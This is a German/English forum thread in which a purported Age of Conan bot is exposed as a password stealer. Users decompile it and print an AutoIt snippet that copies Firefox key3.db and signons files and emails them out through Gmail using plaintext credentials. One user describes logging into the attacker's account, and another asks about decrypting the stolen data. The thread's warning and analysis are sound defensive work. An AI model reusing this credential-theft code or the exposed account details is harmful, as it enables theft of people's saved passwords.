[Bot] AoC-Flyer

[lagalot]

Found this thing on a private forum (Name i cant devulge, sorry :P)

Its pretty decent as far as autoit bots go, i only tried it with a 32 HoX though. Sometimes it bugs out but it worked overnight when i tried it so i guess its decent enough to share. Heres the readme:

AoC-Flyer made ONLY with autoit v3.2.12.0

V.65 Beta release candidate. This is an UNDETECTABLE (No code injection used, strictly Autoit) Age of Conan Bot,
Works for all releases.


Files :

Readme.txt
Flyer.exe
FlyergConfic.dll (Hasnt been changed in a while, will probably stay that way)

-Run The Exe

-Start The Game

-Hotkeys are as follows

Esc = Terminate
F2 = Run
F4 = Save waypoint (alive)
F5 = Save Waypoint (Ghost)


This is a breadcrumb bot, meaning You must save the waypoints first and then run the bot and it will follow those waypoints

and essentially grind for you....


~Skeetz team

Virus total / jotti didn't come up with anything when i scanned, but please scan it yourself to be safe.

[FreaKzzz]

A-Squared
Keine Viren gefunden
AntiVir
Keine Viren gefunden
ArcaVir
Keine Viren gefunden
Avast
Keine Viren gefunden
AVG Antivirus
Keine Viren gefunden
BitDefender
Keine Viren gefunden
ClamAV
Keine Viren gefunden
CPsecure
Keine Viren gefunden
Dr.Web
Keine Viren gefunden
F-Prot Antivirus
Keine Viren gefunden
F-Secure Anti-Virus
Keine Viren gefunden
Fortinet
Keine Viren gefunden
Ikarus
Keine Viren gefunden
Kaspersky Anti-Virus
Keine Viren gefunden
NOD32
Keine Viren gefunden
Norman Virus Control
Keine Viren gefunden
Panda Antivirus
Keine Viren gefunden
Sophos Antivirus
Keine Viren gefunden
VirusBuster
Keine Viren gefunden
VBA32
Keine Viren gefunden

weiss trotzdem nich so :f

[Bibo88k]

Soll ma wer sagen obs funtzt bitte.

[meltingsmoke]

Confused about the functions, looked at the readme but it says nothing about your skills.

How would you tell it which ones to you, locations of skills, pots, etc

Basic things you would need in any macro is seems to have no information about?

[Huggy]

ACHTUNG!

Ich hab den quellcode angeschaut und es wird eine email verschickt!!

Der progrmamierer ist ein trottel, in dem script stehen seine gmail passwörter als klartext. Wenn ein Mod fragen hat bezüglich des quellcodes , PM!

NICHT BENUTZEN! So wie ich das sehen kann funtzt der bot , aber es wird euer passwort versendet (die betreffzeile bei der website ist "Here is my password"

[Bibo88k]

Originally Posted by Huggy

ACHTUNG!

Ich hab den quellcode angeschaut und es wird eine email verschickt!!

Der progrmamierer ist ein trottel, in dem script stehen seine gmail passwörter als klartext. Wenn ein Mod fragen hat bezüglich des quellcodes , PM!

NICHT BENUTZEN! So wie ich das sehen kann funtzt der bot , aber es wird euer passwort versendet (die betreffzeile bei der website ist "Here is my password"

Danke für die Info, wollt des Teil gradma anschmeißen.

[Pblx]

also decompiliert, teils deobfuscated

Resultat:

Hierbei handelt es sich wirklich um ein einen passwort stealer
code schnipsel:

DirCreate("C:temp1")
FileChangeDir(@UserProfileDir & "Application DataMozillaFirefoxProfiles")
 = FileFindFirstFile("*default*")
While 1
	 = FileFindNextFile()
	If @error Then ExitLoop
	FileCopy(@UserProfileDir & "Application DataMozillaFirefoxProfiles" &  & "key3.db", "C:temp1")
	FileCopy(@UserProfileDir & "Application DataMozillaFirefoxProfiles" &  & "signons*", "C:temp1")
WEnd
FileClose()
Global  = ObjEvent("AutoIt.Error", "Fn021F")
 = "smtp.gmail.com"
 = (@ComputerName)
 = "abde@***.com"
 = ""
 = "Passwords"
 = "Here are my passwords"
 = "C:temp1key3.db;C:temp1signons2.txt"
 = ""
 = ""
 = "akazzz0"
 = "a12345678"

....

DirRemove("C:Temp1", 1)

die variablen werden net ausgegeben ....


Einiges im code ist eine kopie vom wow bot thermo prime, allerdgins wurde es so umgeschrieben, dass es mit Age of Conan vielleicht funktionieren könnte, aber wohl eher nicht!

Es handelt sich ohne scheis um thermo prime code,
ClipPut("/script RepopMe()")
und ob sowas in aoc funzt, ka, in wow ja^^

Auf jedenfall hat er sich nen bischen mühe gemacht, nen nicht ganz leicht detectbaren trojaner.
Aber wer schon nen virus oder trojaner codet, sollte auf autoit verzichten, da es decompiln kann, außer man schreibt ein eigenes encrypt verfahren.


aus der dll kann ich kine funktion auslesen




also weil er sich so ne mühe gegeben hat, würd ich nen ban als belohnung geben und den DL link entfernen

mfg PiroX

[Enforcer81]

Originally Posted by PiroX

also weil er sich so ne mühe gegeben hat, würd ich nen ban als belohnung geben und den DL link entfernen

mfg PiroX

/signed

Danke PiroX und Huggy für die Mühe es zu decompilen.

[Huggy]

Jo, seh das auch so.
Decompilen von Autoit ist so ne sache, wern bisschen ahnung hat von autoit , naja , der schaffts :P

Also, sign, gut gedacht, schlecht gemacht --> doofer cracker

[king00]

= "akazzz0"
= "a12345678"

hab da mal auf seinen gmail account geschaut, da scheinen ja schon einige drauf reingefallen zu sein. und die gesammelten passwörter betreffen nicht nur wow oder aoc,
es werden auch websites logins, wie z.b. facebook, diverse webshops, uni's usw. übermittelt. leider sind die logins und passwörter verschlüsselt.

[ermisli]

working?

[Enforcer81]

nope its a keylogger

Don't use it

[Wurmi]

gibt es denn eine möglichkeit die Daten zu entschlüßeln?

[sirru]

Originally Posted by Huggy

Jo, seh das auch so.
Decompilen von Autoit ist so ne sache, wern bisschen ahnung hat von autoit , naja , der schaffts :P

Das schwierigste an der Sache ist immer den Decompiler zu ergoogeln weil man wiedermal den Namen vergessen hat :x
Falls es hier jemanden interessiert:
Der nimmt einem sogar das Deobfuscaten zu nem großen Teil ab

[cabana344]

Originally Posted by Wurmi

gibt es denn eine möglichkeit die Daten zu entschlüßeln?

...und genau hier wird es langsam kriminell. Vorsicht, mein Lieber.